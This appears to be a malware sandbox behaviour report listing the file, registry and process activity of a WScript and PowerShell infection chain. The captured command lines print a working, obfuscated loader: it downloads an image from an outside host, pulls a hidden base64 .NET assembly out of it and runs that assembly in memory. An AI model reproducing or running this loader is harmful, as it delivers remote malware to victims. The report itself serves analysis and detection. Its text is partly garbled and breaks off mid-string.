"C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RFfcfe9.TMP" with delete access "powershell.exe" opened "\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\SECURITY.CONFIG.CCH.4012.907371968" with delete access "powershell.exe" opened "\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\ENTERPRISESEC.CONFIG.CCH.4012.907371968" with delete access "powershell.exe" opened "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Roaming\Microsoft\CLR SECURITY CONFIG\V2.0.50727.312\SECURITY.CONFIG.CCH.4012.907372046" with delete access41:Tb16,"WScript.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "WScript.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "WScript.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "WScript.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "WScript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "WScript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "WScript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "WScript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "WScript.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "WScript.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "WScript.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "WScript.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "WScript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "WScript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "WScript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "WScript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "WScript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT") "WScript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES") "WScript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS") "WScript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS") "WScript.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE") "WScript.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES") "WScript.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CRLS") "WScript.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CTLS") "WScript.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE")42:T907,"WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LDAP"; Key: "LDAPCLIENTINTEGRITY"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LDAP"; Key: "USEOLDHOSTRESOLUTIONORDER"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LDAP"; Key: "USEHOSTNAMEASALIAS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LDAP"; Key: "IPV4LOOPBACKALTERNATIVE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\PARAMETERS"; Key: "TRANSPORTS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\PSCHED\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS\PSCHED"; Key: "WINSOCK 2.0 PROVIDER ID"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS\TCPIP"; Key: "WINSOCK 2.0 PROVIDER ID"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "MINSOCKADDRLENGTH"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "MAXSOCKADDRLENGTH"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "USEDELAYEDACCEPTANCE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "HELPERDLLNAME"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS\TCPIP6"; Key: "WINSOCK 2.0 PROVIDER ID"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "MINSOCKADDRLENGTH"; Value: "")43:T930,"WScript.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "UNCASINTRANET"; Value: "00000000") "WScript.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "AUTODETECT"; Value: "01000000") "WScript.exe" (Access type: "SETVAL"; Path: "HKCU\LOCAL SETTINGS\MUICACHE\126\52C64B7E"; Key: "LANGUAGELIST"; Value: "en-US") "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\LOCAL SETTINGS\MUICACHE\126\52C64B7E"; Key: "LANGUAGELIST"; Value: "en-US") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "ENABLEFILETRACING"; Value: "00000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "ENABLECONSOLETRACING"; Value: "00000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "FILETRACINGMASK"; Value: "0000FFFF") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "CONSOLETRACINGMASK"; Value: "0000FFFF") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "MAXFILESIZE"; Value: "00001000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "FILEDIRECTORY"; Value: "%windir%\tracing") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "ENABLEFILETRACING"; Value: "00000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "ENABLECONSOLETRACING"; Value: "00000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "FILETRACINGMASK"; Value: "0000FFFF") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "CONSOLETRACINGMASK"; Value: "0000FFFF") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "MAXFILESIZE"; Value: "00001000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "FILEDIRECTORY"; Value: "%windir%\tracing")44:T2300,Commandline contains PowerShell string "C:\Windows\System32\WindowsPowerShell\v1.\powershell.exe" windowstyle hidden executionpolicy bypass NoProfile command "$imageUrl 'https://uploaddeimagens.com.br/images/4/666/683/original/js.jpg?17183864'[System.Text.Encoding]::UTF8.GetString($imageBytes).IndexOf(<>) [System.Text.Encoding]::UTF8.GetString($imageBytes).IndexOf(<>) [System.Text.Encoding]::UTF8.GetString($imageBytes).IndexOf(<>)[System.Text.Encoding]::UTF8.GetString($imageBytes).IndexOf(<>) + <>.Length4B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB12B9BB2DAE29E4B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB89DD7B139F4484EB8493114D2CACB5E9937B1B449DCA1D8A78144C5F67AD4ADAE29E8A66A781CAD7AC22775EC4E7C11213AE43434B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB89DD7B139F4484EB849311[System.Reflection.Assembly]::Load(4B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB12B9BB2DAE29E4B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB89DD7B139F4484EB8493114D2CACB5E9937B1B449DCA1D8A78144C5F67AD4ADAE29E8A66A781CAD7AC22775EC4E7C11213AE43434B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB89DD7B139F4484EB849311).GetType('Fiber.Home').GetMethod('VAI').Invoke($null ('dHhLjQ2ZXNhYnlyZXZvY2VydGNhdG5vY2haXdwdGZlbGlmZGlvcmQvODkuMDUyLjI5LjE5Ly86cHRaA'; K+-zd��'r�b��+k�x"��+^�+��M�mw(v)�Q1|�R��)��r��9�@HN�I0M ��{D��xL_z��)��f�x�z�'u�N|�44��M�mw(v)�Q1|�R��)��r��9�@HN�I0......." in [Source : 00000000-00004012], Commandline contains PowerShell string "-command "$Codigo = 'J♛♚Bp♛♚G0♛♚YQBn♛♚GU♛♚VQBy♛♚Gw♛♚I♛♚♛♚9♛♚C♛♚♛♚JwBo♛♚HQ♛♚d♛♚Bw♛♚HM♛♚Og♛♚v♛♚C8♛♚dQBw♛♚Gw♛♚bwBh♛♚GQ♛♚Z♛♚Bl♛♚Gk♛♚bQBh♛♚Gc♛♚ZQBu♛♚HM♛♚LgBj♛♚G8♛♚bQ♛♚u♛♚GI♛♚cg♛♚v♛♚Gk♛♚bQBh♛♚Gc♛♚ZQBz♛♚C8♛♚M♛♚♛♚w♛♚DQ♛♚Lw♛♚2♛♚DY♛♚Ng♛♚v♛♚DY♛♚O♛♚♛♚z♛♚C8♛♚bwBy♛♚Gk♛♚ZwBp♛♚G4♛♚YQBs♛♚C8♛♚agBz♛♚C4♛♚agBw♛♚Gc♛♚Pw♛♚x♛♚Dc♛♚M♛♚♛♚w♛♚DE♛♚O♛♚♛♚z♛♚Dg♛♚Ng♛♚0♛♚Cc♛♚Ow♛♚k♛♚Hc♛♚ZQBi♛♚EM♛♚b♛♚Bp♛♚GU♛♚bgB0♛♚C♛♚♛♚PQ♛♚g♛♚E4♛♚ZQB3♛♚C0♛♚TwBi♛♚Go♛♚ZQBj♛♚HQ♛♚I♛♚BT♛♚Hk♛♚cwB0♛♚GU♛♚bQ♛♚u♛♚E4♛♚ZQB0♛♚C4♛♚VwBl♛♚GI♛♚QwBs♛♚Gk♛♚ZQBu♛♚HQ♛♚Ow♛♚k♛♚Gk♛♚bQBh♛♚Gc♛♚ZQBC♛♚Hk♛♚d♛♚Bl♛♚HM♛♚I♛♚♛♚9♛♚C♛♚♛♚J♛♚B3♛♚GU♛♚YgBD♛♚Gw♛♚aQBl♛♚G4♛♚d♛♚♛♚u♛♚EQ♛♚bwB3♛♚G4♛♚b♛♚Bv♛♚GE♛♚Z♛♚BE♛♚GE♛♚d♛♚Bh♛♚Cg♛♚J♛♚Bp♛♚G0♛♚YQBn♛♚GU♛♚VQBy♛♚Gw♛♚KQ♛♚7♛♚CQ♛♚aQBt♛♚GE♛♚ZwBl♛♚FQ♛♚ZQB4♛♚HQ♛♚I♛♚♛♚9♛♚C♛♚♛♚WwBT♛♚Hk♛♚cwB0♛♚GU♛♚bQ♛♚u♛♚FQ♛♚ZQB4♛♚HQ♛♚LgBF♛♚G4♛♚YwBv♛♚GQ♛♚aQBu♛♚Gc♛♚XQ♛♚6♛♚Do♛♚VQBU♛♚EY♛♚O♛♚♛♚u♛♚Ec♛♚ZQB0♛♚FM♛♚d♛♚By♛♚Gk♛♚bgBn♛♚Cg♛♚J♛♚Bp♛♚G0♛♚YQBn♛♚GU♛♚QgB5♛♚HQ♛♚ZQBz♛♚Ck♛♚Ow♛♚k♛♚HM♛♚d♛♚Bh♛♚HI♛♚d♛♚BG♛♚Gw♛♚YQBn♛♚C♛♚♛♚PQ♛♚g♛♚Cc♛♚P♛♚♛♚8♛♚EI♛♚QQBT♛♚EU♛♚Ng♛♚0♛♚F8♛♚UwBU♛♚EE♛♚UgBU♛♚D4♛♚Pg♛♚n♛♚Ds♛♚J♛♚Bl♛♚G4♛♚Z♛♚BG♛♚Gw♛♚YQBn♛♚C♛♚♛♚PQ♛♚g♛♚Cc♛♚P♛♚♛♚8♛♚EI♛♚QQBT♛♚EU♛♚Ng♛♚0♛♚F8♛♚RQBO♛♚EQ♛♚Pg♛♚+♛♚Cc♛♚Ow♛♚k♛♚HM♛♚d♛♚Bh♛♚HI♛♚d♛♚BJ♛♚G4♛♚Z♛♚Bl♛♚Hg♛♚I♛♚♛♚9♛♚C♛♚♛♚J♛♚Bp♛♚G0♛♚YQBn♛♚GU♛♚V♛♚Bl♛♚Hg♛♚d♛♚♛♚u♛♚Ek♛♚bgBk♛♚GU♛♚e♛♚BP♛♚GY♛♚K♛♚♛♚k♛♚HM♛♚d♛♚Bh♛♚HI♛♚d♛♚BG♛♚Gw♛♚YQBn♛♚Ck♛♚Ow♛♚k♛♚GU♛♚bgBk♛♚Ek♛♚bgBk♛♚GU♛♚e♛♚♛♚g♛♚D0♛♚I♛♚♛♚k♛♚Gk♛♚bQBh♛♚Gc♛♚ZQBU♛♚GU♛♚e♛♚B0♛♚C4♛♚SQBu♛♚GQ♛♚ZQB4♛♚E8♛♚Zg♛♚o♛♚CQ♛♚ZQBu♛♚GQ♛♚RgBs♛♚GE♛♚Zw♛♚p♛♚Ds♛♚J♛♚Bz♛♚HQ♛♚YQBy♛♚HQ♛♚SQBu♛♚GQ♛♚ZQB4♛♚C♛♚♛♚LQBn♛♚GU♛♚I♛♚♛♚w♛♚C♛♚♛♚LQBh♛♚G4♛♚Z♛♚♛♚g♛♚CQ♛♚ZQBu♛♚GQ♛♚SQBu♛♚GQ♛♚ZQB4♛♚C♛♚♛♚LQBn♛♚HQ♛♚I♛♚♛♚k♛♚HM♛♚d♛♚Bh♛♚HI♛♚d♛♚BJ♛♚G4♛♚Z♛♚Bl♛♚Hg♛♚Ow♛♚k♛♚HM♛♚d♛♚Bh♛♚HI♛♚d♛♚BJ♛♚G4♛♚Z♛♚Bl♛♚Hg♛♚I♛♚♛♚r♛♚D0♛♚I♛♚♛♚k♛♚HM♛♚d♛♚Bh♛♚HI♛♚d♛♚BG♛♚Gw♛♚YQBn♛♚C4♛♚T♛♚Bl♛♚G4♛♚ZwB0♛♚Gg♛♚Ow♛♚k♛♚GI♛♚YQBz♛♚GU♛♚Ng♛♚0♛♚Ew♛♚ZQBu♛♚Gc♛♚d♛♚Bo♛♚C♛♚♛♚PQ♛♚g♛♚CQ♛♚ZQBu♛♚GQ♛♚SQBu♛♚GQ♛♚ZQB4♛♚C♛♚♛♚LQ♛♚g♛♚CQ♛♚cwB0♛♚GE♛♚cgB0♛♚Ek♛♚bgBk♛♚GU♛♚e♛♚♛♚7♛♚CQ♛♚YgBh♛♚HM♛♚ZQ♛♚2♛♚DQ♛♚QwBv♛♚G0♛♚bQBh♛♚G4♛♚Z♛♚♛♚g♛♚D0♛♚I♛♚♛♚k♛♚Gk♛♚bQBh♛♚Gc♛♚ZQBU♛♚GU♛♚e♛♚B0♛♚C4♛♚UwB1♛♚GI♛♚cwB0♛♚HI♛♚aQBu♛♚Gc♛♚K♛♚♛♚k♛♚HM♛♚d♛♚Bh♛♚HI♛♚d♛♚BJ♛♚G4♛♚Z♛♚Bl♛♚Hg♛♚L♛♚♛♚g♛♚CQ♛♚YgBh♛♚HM♛♚ZQ♛♚2♛♚DQ♛♚T♛♚Bl♛♚G4♛♚ZwB0♛♚Gg♛♚KQ♛♚7♛♚CQ♛♚YwBv♛♚G0♛♚bQBh♛♚G4♛♚Z♛♚BC♛♚Hk♛♚d♛♚Bl♛♚HM♛♚I♛♚♛♚9♛♚C♛♚♛♚WwBT♛♚Hk♛♚cwB0♛♚GU♛♚bQ♛♚u♛♚EM♛♚bwBu♛♚HY♛♚ZQBy♛♚HQ♛♚XQ♛♚6♛♚Do♛♚RgBy♛♚G8♛♚bQBC♛♚GE♛♚cwBl♛♚DY♛♚N♛♚BT♛♚HQ♛♚cgBp♛♚G4♛♚Zw♛♚o♛♚CQ♛♚YgBh♛♚HM♛♚ZQ♛♚2♛♚DQ♛♚QwBv♛♚G0♛♚bQBh♛♚G4♛♚Z♛♚♛♚p♛♚Ds♛♚J♛♚Bs♛♚G8♛♚YQBk♛♚GU♛♚Z♛♚BB♛♚HM♛♚cwBl♛♚G0♛♚YgBs♛♚Hk♛♚I♛♚♛♚9♛♚C♛♚♛♚WwBT♛♚Hk♛♚cwB0♛♚GU♛♚bQ♛♚u♛♚FI♛♚ZQBm♛♚Gw♛♚ZQBj♛♚HQ♛♚aQBv♛♚G4♛♚LgBB♛♚HM♛♚cwBl♛♚G0♛♚YgBs♛♚Hk♛♚XQ♛♚6♛♚Do♛♚T♛♚Bv♛♚GE♛♚Z♛♚♛♚o♛♚CQ♛♚YwBv♛♚G0♛♚bQBh♛♚G4♛♚Z♛♚BC♛♚Hk♛♚d♛♚Bl♛♚HM♛♚KQ♛♚7♛♚CQ♛♚d♛♚B5♛♚H♛♚♛♚ZQ♛♚g♛♚D0♛♚I♛♚♛♚k♛♚Gw♛♚bwBh♛♚GQ♛♚ZQBk♛♚EE♛♚cwBz♛♚GU♛♚bQBi♛♚Gw♛♚eQ♛♚u♛♚Ec♛♚ZQB0♛♚FQ♛♚eQBw♛♚GU♛♚K♛♚♛♚n♛♚EY♛♚aQBi♛♚GU♛♚cg♛♚u♛♚Eg♛♚bwBt♛♚GU♛♚Jw♛♚p♛♚Ds♛♚J♛♚Bt♛♚GU♛♚d♛♚Bo♛♚G8♛♚Z♛♚♛♚g♛♚D0♛♚I♛♚♛♚k♛♚HQ♛♚eQBw♛♚GU♛♚LgBH♛♚GU♛♚d♛♚BN♛♚GU♛♚d♛♚Bo♛♚G8♛♚Z♛♚♛♚o♛♚Cc♛♚VgBB♛♚Ek♛♚Jw♛♚p♛♚C4♛♚SQBu♛♚HY♛♚bwBr♛♚GU♛♚K♛♚♛♚k♛♚G4♛♚dQBs♛♚Gw♛♚L♛♚♛♚g♛♚Fs♛♚bwBi♛♚Go♛♚ZQBj♛♚HQ♛♚WwBd♛♚F0♛♚I♛♚♛♚o♛♚Cc♛♚Z♛♚BI♛♚Gg♛♚M♛♚BM♛♚Go♛♚UQ♛♚y♛♚Fo♛♚W♛♚BO♛♚Gg♛♚WQBu♛♚Gw♛♚eQBa♛♚Fg♛♚WgB2♛♚Fk♛♚MgBW♛♚Hk♛♚Z♛♚BH♛♚E4♛♚a♛♚Bk♛♚Ec♛♚NQB2♛♚Fk♛♚MgBo♛♚D♛♚♛♚YQBY♛♚GQ♛♚dwBk♛♚Ec♛♚WgBs♛♚GI♛♚RwBs♛♚G0♛♚WgBH♛♚Gw♛♚dgBj♛♚G0♛♚UQB2♛♚E8♛♚R♛♚Br♛♚HU♛♚TQBE♛♚FU♛♚eQBM♛♚Go♛♚SQ♛♚1♛♚Ew♛♚agBF♛♚DU♛♚T♛♚B5♛♚Dg♛♚NgBj♛♚Eg♛♚Ug♛♚w♛♚GE♛♚QQ♛♚9♛♚D0♛♚Jw♛♚g♛♚Cw♛♚I♛♚♛♚n♛♚GQ♛♚ZgBk♛♚GY♛♚Z♛♚♛♚n♛♚C♛♚♛♚L♛♚♛♚g♛♚Cc♛♚Z♛♚Bm♛♚GQ♛♚Zg♛♚n♛♚C♛♚♛♚L♛♚♛♚g♛♚Cc♛♚Z♛♚Bm♛♚GQ♛♚Zg♛♚n♛♚C♛♚♛♚L♛♚♛♚g♛♚Cc♛♚Z♛♚Bh♛♚GQ♛♚cwBh♛♚Cc♛♚I♛♚♛♚s♛♚C♛♚♛♚JwBk♛♚GU♛♚Jw♛♚g♛♚Cw♛♚I♛♚♛♚n♛♚GM♛♚dQ♛♚n♛♚Ck♛♚KQ♛♚=';$OWjuxd = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($codigo.replace('♛♚','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxd"......." in [Source : powershell.exe]45:T3b82,Process "powershell.exe" with commandline "-command "$Codigo = 'J\u265b\u265aBp\u265b\u265aG0\u265b\u265aYQBn\u265b\u265aGU\u265b\u265aVQBy\u265b\u265aGw\u265b\u265aI\u265b\u265a\u265b\u265a9\u265b\u265aC\u265b\u265a\u265b\u265aJwBo\u265b\u265aHQ\u265b\u265ad\u265b\u265aBw\u265b\u265aHM\u265b\u265aOg\u265b\u265av\u265b\u265aC8\u265b\u265adQBw\u265b\u265aGw\u265b\u265abwBh\u265b\u265aGQ\u265b\u265aZ\u265b\u265aBl\u265b\u265aGk\u265b\u265abQBh\u265b\u265aGc\u265b\u265aZQBu\u265b\u265aHM\u265b\u265aLgBj\u265b\u265aG8\u265b\u265abQ\u265b\u265au\u265b\u265aGI\u265b\u265acg\u265b\u265av\u265b\u265aGk\u265b\u265abQBh\u265b\u265aGc\u265b\u265aZQBz\u265b\u265aC8\u265b\u265aM\u265b\u265a\u265b\u265aw\u265b\u265aDQ\u265b\u265aLw\u265b\u265a2\u265b\u265aDY\u265b\u265aNg\u265b\u265av\u265b\u265aDY\u265b\u265aO\u265b\u265a\u265b\u265az\u265b\u265aC8\u265b\u265abwBy\u265b\u265aGk\u265b\u265aZwBp\u265b\u265aG4\u265b\u265aYQBs\u265b\u265aC8\u265b\u265aagBz\u265b\u265aC4\u265b\u265aagBw\u265b\u265aGc\u265b\u265aPw\u265b\u265ax\u265b\u265aDc\u265b\u265aM\u265b\u265a\u265b\u265aw\u265b\u265aDE\u265b\u265aO\u265b\u265a\u265b\u265az\u265b\u265aDg\u265b\u265aNg\u265b\u265a0\u265b\u265aCc\u265b\u265aOw\u265b\u265ak\u265b\u265aHc\u265b\u265aZQBi\u265b\u265aEM\u265b\u265ab\u265b\u265aBp\u265b\u265aGU\u265b\u265abgB0\u265b\u265aC\u265b\u265a\u265b\u265aPQ\u265b\u265ag\u265b\u265aE4\u265b\u265aZQB3\u265b\u265aC0\u265b\u265aTwBi\u265b\u265aGo\u265b\u265aZQBj\u265b\u265aHQ\u265b\u265aI\u265b\u265aBT\u265b\u265aHk\u265b\u265acwB0\u265b\u265aGU\u265b\u265abQ\u265b\u265au\u265b\u265aE4\u265b\u265aZQB0\u265b\u265aC4\u265b\u265aVwBl\u265b\u265aGI\u265b\u265aQwBs\u265b\u265aGk\u265b\u265aZQBu\u265b\u265aHQ\u265b\u265aOw\u265b\u265ak\u265b\u265aGk\u265b\u265abQBh\u265b\u265aGc\u265b\u265aZQBC\u265b\u265aHk\u265b\u265ad\u265b\u265aBl\u265b\u265aHM\u265b\u265aI\u265b\u265a\u265b\u265a9\u265b\u265aC\u265b\u265a\u265b\u265aJ\u265b\u265aB3\u265b\u265aGU\u265b\u265aYgBD\u265b\u265aGw\u265b\u265aaQBl\u265b\u265aG4\u265b\u265ad\u265b\u265a\u265b\u265au\u265b\u265aEQ\u265b\u265abwB3\u265b\u265aG4\u265b\u265ab\u265b\u265aBv\u265b\u265aGE\u265b\u265aZ\u265b\u265aBE\u265b\u265aGE\u265b\u265ad\u265b\u265aBh\u265b\u265aCg\u265b\u265aJ\u265b\u265aBp\u265b\u265aG0\u265b\u265aYQBn\u265b\u265aGU\u265b\u265aVQBy\u265b\u265aGw\u265b\u265aKQ\u265b\u265a7\u265b\u265aCQ\u265b\u265aaQBt\u265b\u265aGE\u265b\u265aZwBl\u265b\u265aFQ\u265b\u265aZQB4\u265b\u265aHQ\u265b\u265aI\u265b\u265a\u265b\u265a9\u265b\u265aC\u265b\u265a\u265b\u265aWwBT\u265b\u265aHk\u265b\u265acwB0\u265b\u265aGU\u265b\u265abQ\u265b\u265au\u265b\u265aFQ\u265b\u265aZQB4\u265b\u265aHQ\u265b\u265aLgBF\u265b\u265aG4\u265b\u265aYwBv\u265b\u265aGQ\u265b\u265aaQBu\u265b\u265aGc\u265b\u265aXQ\u265b\u265a6\u265b\u265aDo\u265b\u265aVQBU\u265b\u265aEY\u265b\u265aO\u265b\u265a\u265b\u265au\u265b\u265aEc\u265b\u265aZQB0\u265b\u265aFM\u265b\u265ad\u265b\u265aBy\u265b\u265aGk\u265b\u265abgBn\u265b\u265aCg\u265b\u265aJ\u265b\u265aBp\u265b\u265aG0\u265b\u265aYQBn\u265b\u265aGU\u265b\u265aQgB5\u265b\u265aHQ\u265b\u265aZQBz\u265b\u265aCk\u265b\u265aOw\u265b\u265ak\u265b\u265aHM\u265b\u265ad\u265b\u265aBh\u265b\u265aHI\u265b\u265ad\u265b\u265aBG\u265b\u265aGw\u265b\u265aYQBn\u265b\u265aC\u265b\u265a\u265b\u265aPQ\u265b\u265ag\u265b\u265aCc\u265b\u265aP\u265b\u265a\u265b\u265a8\u265b\u265aEI\u265b\u265aQQBT\u265b\u265aEU\u265b\u265aNg\u265b\u265a0\u265b\u265aF8\u265b\u265aUwBU\u265b\u265aEE\u265b\u265aUgBU\u265b\u265aD4\u265b\u265aPg\u265b\u265an\u265b\u265aDs\u265b\u265aJ\u265b\u265aBl\u265b\u265aG4\u265b\u265aZ\u265b\u265aBG\u265b\u265aGw\u265b\u265aYQBn\u265b\u265aC\u265b\u265a\u265b\u265aPQ\u265b\u265ag\u265b\u265aCc\u265b\u265aP\u265b\u265a\u265b\u265a8\u265b\u265aEI\u265b\u265aQQBT\u265b\u265aEU\u265b\u265aNg\u265b\u265a0\u265b\u265aF8\u265b\u265aRQBO\u265b\u265aEQ\u265b\u265aPg\u265b\u265a+\u265b\u265aCc\u265b\u265aOw\u265b\u265ak\u265b\u265aHM\u265b\u265ad\u265b\u265aBh\u265b\u265aHI\u265b\u265ad\u265b\u265aBJ\u265b\u265aG4\u265b\u265aZ\u265b\u265aBl\u265b\u265aHg\u265b\u265aI\u265b\u265a\u265b\u265a9\u265b\u265aC\u265b\u265a\u265b\u265aJ\u265b\u265aBp\u265b\u265aG0\u265b\u265aYQBn\u265b\u265aGU\u265b\u265aV\u265b\u265aBl\u265b\u265aHg\u265b\u265ad\u265b\u265a\u265b\u265au\u265b\u265aEk\u265b\u